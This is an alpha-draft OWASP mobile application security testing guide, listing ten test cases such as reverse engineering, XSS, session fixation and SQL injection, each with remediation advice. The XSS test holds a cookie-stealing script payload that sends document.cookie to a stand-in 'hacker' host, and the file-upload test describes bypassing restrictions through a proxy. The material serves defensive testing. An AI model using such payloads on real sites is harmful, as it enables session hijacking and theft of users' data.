AppSec Approach -- Alpha Version

OWASP MOBILE APPLICATION

BY OWASP MOBILE SECURITY TEAM

SECURITY GUIDE

Project by:
Jonathan Carter and Milan Singh Thakur

Mobile Application Security Guide | Milan Singh Thakur

Index

About The OWASP Mobile Security Project

Appendix A: Testing Tools
Appendix B: Suggested Reading

3
19
19

F
Frontispiece

H
How to Use This Resource

I
Introduction

M
Mobile Security Testing

R
Reporting

19

T
Test cases:
The OWASP Application Testing
The OWASP Mobile Application Testing

8
7
8

W
Why Perform Testing?

Frontispiece
About The OWASP Mobile Security Project
The OWASP Mobile Security Project is a centralized resource intended to give developers and security
teams the resources they need to build and maintain secure mobile applications. Through the project,
our goal is to classify mobile security risks and provide developmental controls to reduce their impact or
likelihood of exploitation.
Our primary focus is at the application layer. While we take into consideration, the underlying mobile
platform and carrier inherent risks when threat modeling and building controls, we are targeting the
areas that the average developer can make a difference. Additionally, we focus not only on the mobile
applications deployed to end user devices, but also on the broader server-side infrastructure which the
mobile apps communicate with. We focus heavily on the integration between the mobile application,
remote authentication services, and cloud platform-specific features.
[More To be added in Final Release]

Introduction
Mobile Security Testing
A major priority of the OWASP Mobile Security Project is to help standardize and disseminate mobile
application testing methodologies. While specific techniques exist for individual platforms, a general
mobile threat model can be used to assist test teams in creating a mobile security testing methodology
for any platform. The outline which follows describes a general mobile application testing methodology
which can be tailored to meet the security testers needs. It is high level in some places, and over time
will be customized on a per-platform basis.
This guide is targeted towards application developers and security testers. Developers can leverage this
guide to ensure that they are not introducing the security flaws described within the guide. Security
testers can use it as a reference guide to ensure that they are adequately assessing the mobile
application attack surface. The ideal mobile assessment combines dynamic analysis, static analysis, and
forensic analysis to ensure that the majority of the mobile application attack surface is covered.
On some platforms, it may be necessary to have root user or elevated privileges in order to perform all
of the required analysis on devices during testing. Many applications write information to areas that
cannot be accessed without a higher level of access than the standard shell or application user generally
has. For steps that generally require elevated privileges, it will be stated that this is the case.
This mobile application security testing is broken up into three sections:

Information Gathering- describes the steps and things to consider when you are in the early
stage reconnaissance and mapping phases of testing as well as determining the applications
magnitude of effort and scoping.

Static Analysis- Analyzing raw mobile source code, decompiled or disassembled code.

Dynamic Analysis - Executing an application either on the device itself or within a

simulator/emulator and interacting with the remote services with which the application
communicates. This includes assessing the applications local interprocess communication
surface, forensic analysis of the local file system, and assessing remote service dependencies.

How to Use This Resource

As this guide is not platform specific, you will need to know the appropriate techniques & tools for your
target platform. The OWASP Mobile Security Project has also developed a number of other supporting
resources which may be able to be leveraged for your needs.
The steps required to properly test an Android application are very different than those of testing an iOS
application. Likewise, Windows Phone is very different from the other platforms. Mobile security testing

requires a diverse skill set over many differing operating systems and a critical ability to analyze various
types of source code.
In many cases, a mobile application assessment will require coverage in all three areas identified within
this testing reference. A dynamic assessment will benefit from an initial thorough attempt at
Information Gathering, some level of static analysis against the applications binary, and a forensic
review of the data created and modified by the applications runtime behavior.
Please use this guide in an iterative fashion, where work in one area may require revisiting previous
testing steps. As an example, after completing a transaction you may likely need to perform additional
forensic analysis on the device to ensure that sensitive data is removed as expected and not cached in
an undesired fashion. As you learn more about the application at runtime, you may wish to examine
additional parts of the code to determine the best way to evade a specific control. Likewise, during static
analysis it may be helpful to populate the application with certain data in order to prove or refute the
existence of a security flaw.

Why Perform Testing?

This document is designed to help organizations understand what comprises a testing program, and to
help them identify the steps that need to be undertaken to build and operate a testing program on
mobile applications. The guide gives a broad view of the elements required to make a comprehensive
mobile application security program. This guide can be used as a reference guide and as a methodology
to help determine the gap between existing practices and industry best practices. This guide allows
organizations to compare themselves against industry peers, to understand the magnitude of resources
required to test and maintain software, or to prepare for an audit. This chapter does not go into the
technical details of how to test a mobile application, as the intent is to provide a typical security
organizational framework. The technical details about how to test a mobile application, as part of a
penetration test or code-review, will be covered in the remaining parts of this document.

3
The OWASP Application Testing
Overview
Phase 1: Before Development Begins - To be added in Final Release
Phase 2: During Definition and Design - To be added in Final Release
Phase 3: During Development - To be added in Final Release
Phase 4: During Deployment - To be added in Final Release
Phase 5: Maintenance and Operations - To be added in Final Release
A Typical SDLC Testing Workflow - To be added in Final Release

4
The OWASP Mobile Application Testing
Introduction and Objectives - To be added in Final Release
Testing Checklist To be added in Final Release
Test cases:

Test ID: MSTG-01

Test name: Application is Vulnerable to Reverse Engineering Attack
OWASP Top Ten Category:
Steps for test: Reverse engineering Android Mobile App (APK File):
1. Select the APK file you want to reverse engineer. Using any extractor like 7zip, extract the
files.
2. Now you can see a file named classes.dex.
3. Using the tool dex2jar to convert classes.dex into a readable jar.
4. Now using any Java decompiler, you can open the newly converted file "classes_dex2jar". In
my case i am using jdgui, a free tool.
5. Now you can see all the packages and class files inside it.
6. Look for hard-coded sensitive information in the code (if code is not obfuscated).
7. Check BuildConfig.class to see if app is released in DEBUG mode. Also now you can check for
other security controls.
8. Open AndroidManifest.xml file to check permissions that an Android application requires
during installation.
Reverse engineering IOS Mobile App (IPA File):
1.
2.
3.
4.
5.

Select the IPA file and extract it using 7zip.

Now you can see Payload folder and PList files inside it.
Check for sensitive data and scripts in Payload folder.
You can also use Hopper Tool for reverse engineering IOS app.
For intense analysis use XCode on MacBook.

Reverse engineering Windows 8 Mobile App (XAP File):

1.
2.
3.
4.

Select the XAP file and extract it using 7zip.

Now you have the list of DLLs.
Use DLL decompiler to open the DLL files. I am using DotPeek by JetBrains.
After opening the DLLs, you can see all the libraries and other part of code in clear-text.

5. For further analysis you can install Visual Studio 2013 on Windows8 64-bit laptop with
Windows Mobile SDK.
Reverse engineering Blackberry Mobile App (COD File):
1. Using Blackberry JDE you can open the COD files.

POC/Example Screenshot:
Fig 1:

Fig2:

Remediation:
This is a set of controls used to prevent reverse engineering of the code, increasing the skill level and
the time required to attack the application.
a. Abstract sensitive software within static C libraries.
b. Obfuscate all sensitive application code where feasible by running an automated code
obfuscation program using either 3rd party commercial software or open source solutions.
c. For applications containing sensitive data, implement anti-debugging techniques (e.g.
prevent a debugger from attaching to the process; android:debuggable=false).
d. Ensure logging is disabled as logs may be interrogated other applications with readlogs
permissions (e.g. on Android system logs are readable by any other application prior to being
rebooted).
e. So long as the architecture(s) that the application is being developed for supports it (iOS 4.3
and above, Android 4.0 and above), Address Space Layout Randomization (ASLR) should be
taken advantage of to hide executable code which could be used to remotely exploit the
application and hinder the dumping of applications memory.
Test ID: MSTG-02
Test name: Account Lockout not Implemented
OWASP Top Ten Category:
Steps for test:
1. Install the application on your device.
2. Login multiple times with fake credentials.
3. In scenarios where offline access to data is needed, perform an account/application lockout
and/or application data wipe after X number of invalid password attempts (10 for example).
4. Automatic application shutdown and/or lockout after X minutes of inactivity (e.g. 5 mins of
inactivity).
POC/Example Screenshot: N/A

Remediation: Ensure account lockout is implemented in the application based on number of login
attempts (not more than 10 attempts ) and inactivity on application user interface (not more than 5
minutes).
Test ID: MSTG-03
Test name: Application is Vulnerable to XSS

10

OWASP Top Ten Category:

Steps for test:
1. Install the application.
2. Look for input fields or search options in the application.
3. A site containing a search field does not have the proper input sanitizing. By crafting a search
query looking something like this:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRI
PT>.
4. Also look for hidden iframe in the application.
5. Use <iframe src="http://www.evilsite.com"/>
POC/Example Screenshot:

Remediation:
Ensure that all UIWebView calls do not execute without proper input validation. Apply filters for
dangerous JavaScript characters if possible, using a whitelist over blacklist character policy before
rendering. If possible call mobile Safari instead of rending inside of UIWebkit which has access to your
application.
Verify that JavaScript and Plugin support is disabled for any WebViews (usually the default).
Test ID: MSTG-04

11

Test name: Authentication bypass

OWASP Top Ten Category:
Steps for test:
Perform binary attacks against the mobile app while it is in 'offline' mode.
Through the attack, the tester will force the app to bypass offline authentication and then execute
functionality that should require offline authentication (for more information on binary attacks, see
M10). As well, testers should try to execute any backend server functionality anonymously by
removing any session tokens from any POST/GET requests for the mobile app functionality.
Authorization requirements are more vulnerable when making authorization decisions within the
mobile device instead of through a remote server. This may be a requirement due to mobile
requirements of offline usability.
POC/Example Screenshot: N/A
Remediation:
Developers should assume all client-side authorization and authentication controls can be bypassed
by malicious users. Authorization and authentication controls must be re-enforced on the server-side
whenever possible.
Due to offline usage requirements, mobile apps may be required to perform local authentication or
authorization checks within the mobile app's code. If this is the case, developers should instrument
local integrity checks within their code to detect any unauthorized code changes. See M10 for more
information about detecting and reacting to binary attacks.
Test ID: MSTG-05
Test name: Hard coded sensitive information in Application Code
OWASP Top Ten Category:
Steps for test:
This test can be derived from MSTG-01 (Application is Vulnerable to Reverse Engineering Attack).
Tester should reverse engineer the mobile application and check for below given:
payment gateways hard-coding the credentials applications hard-coding the server and applicationspecific details developer names & comments explaining the code pieces
POC/Example Screenshot: N/A

Remediation: Developer should ensure that there is no hard-coded sensitive information is the
application code. Tester should verify this by secure code review or by methods of reverse

12

engineering, to ensure that there is no sensitive information.

Test ID: MSTG-06

Test name: Malicious File Upload
OWASP Top Ten Category:
Steps for test:
1. Install the application.
2. Look for file upload functionality.
3. Try to upload any malicious file like .exe, .msi or any executable file.
4. If the application UI restricts you to upload certain file types, then intercept the traffic using any
intermediate proxy like Burp/ZAP.
5. Once you intercept the upload request, use LFI (Local File Inclusion) or RFI (Remote File
Inclusion) method to upload malicious file to the server.
POC/Example Screenshot:

Remediation:
While safeguards such as black or white listing of file extensions, using Content-Type from the header,

13

or using a file type recognizer may not always be protections against this type of vulnerability. Every
application that accepts files from users must have a mechanism to verify that the uploaded file does
not contain malicious code. Uploaded files should never be stored where the users or attackers can
directly access them. Follow below given:
Using Black-List for Files Extensions
Using White-List for Files Extensions
Using Content-Type from the Header
Using a File Type Recognizer
Ref: https://www.owasp.org/index.php/Unrestricted_File_Upload
Test ID: MSTG-07
Test name: Session Fixation
OWASP Top Ten Category:
Steps for test:
1. Login to the mobile application.
2. Intercept the response from server containing set-cookie value.
3. Alter the cookie value by attacker-defined value. Forward the response to the application.
4. See if application continues to use attacker-defined value for further communication.
Additional checks:
1. Failure to Properly Rotate Cookies
2. Lack of Adequate Timeout Protection
3. Insecure Token Creation
POC/Example Screenshot:
Fig 1:

Fig 2:

14

Fig 3:

Remediation:
To handle sessions properly, ensure that mobile app code creates, maintains, and destroys session
tokens properly over the life-cycle of a user's mobile app session.
Track Authentication state changes for events like:
Switching from an anonymous user to a logged in user
Switching from any logged in user to another logged in user
Switching from a regular user to a privileged user
Timeouts

15

Test ID: MSTG-08

Test name: Application does not Verify MSISDN
OWASP Top Ten Category:
Steps for test: MSISDN number can be used to verify critical transactions from mobile applications.
1. The user has to be on Mobile Data. If the user is on Wi-Fi then you will not receive MSISDN
information.
2. The users mobile network has to support the passing of the MSISDN in the HTTP headers.
Look through your headers for any of the following. This is not a comprehensive list of MSISDN
headers at all; they are only the ones I have come across in my adventures in mobile development.
X-MSISDN
X_MSISDN
HTTP_X_MSISDN
X-UP-CALLING-LINE-ID
X_UP_CALLING_LINE_ID
HTTP_X_UP_CALLING_LINE_ID
X_WAP_NETWORK_CLIENT_MSISDN

Ref:
http://developer.android.com/reference/android/telephony/TelephonyManager.html#getLine1Number
%28%29
https://mobiforge.com/design-development/useful-x-headers
POC/Example Screenshot:

Remediation: It is recommended not to store MSISDN number on the server.

16

Test ID: MSTG-09

Test name: Privilege Escalation
OWASP Top Ten Category:
Steps for test: In every portion of the application where a user can create information in the database
(e.g., making a payment, adding a contact, or sending a message), can receive information (statement
of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to
record that functionality. The tester should try to access such functions as another user in order to
verify if it is possible to access a function that should not be permitted by the user's role/privilege (but
might be permitted as another user).
POC/Example Screenshot:
Fig 1:

Verify if a user that does not belong to grp001 can modify the value of the parameters groupID and
orderID to gain access to that privileged data.
Remediation:
Verify that it is not possible to escalate privileges by modifying the parameter values.

Test ID: MSTG-10

Test name: SQL Injection
OWASP Top Ten Category:
Steps for test:
Injection attacks such as SQL Injection on mobile devices can be severe if your application deals with
more than one user account on a single application or a shared device or paid-for content. Check for
below given:
SQLite (many phones default data storing mechanism) can be subject to injection
just like in web applications. The threat of being able to see data using this type of
injection is risky when your application houses several different users, paidfor/unlockable content, etc.

17

POC/Example Screenshot:
Fig 1:

Fig 2:

Remediation:
When designing queries for SQLite is sure that user supplied data is being passed to a parameterized
query. This can be spotted by looking for the format specifier used. In general, dangerous user
supplied data will be inserted by a %@ instead of a proper parameterized query specifier of
?.When dealing with dynamic queries or Content-Providers ensure you are using parameterized
queries.

18

5
Reporting
Appendix A: Testing Tools
Black Box Testing Tools To be added in Final Release
Appendix B: Suggested Reading
Whitepapers To be added in Final Release
Books To be added in Final Release
Useful Websites To be added in Final Release

19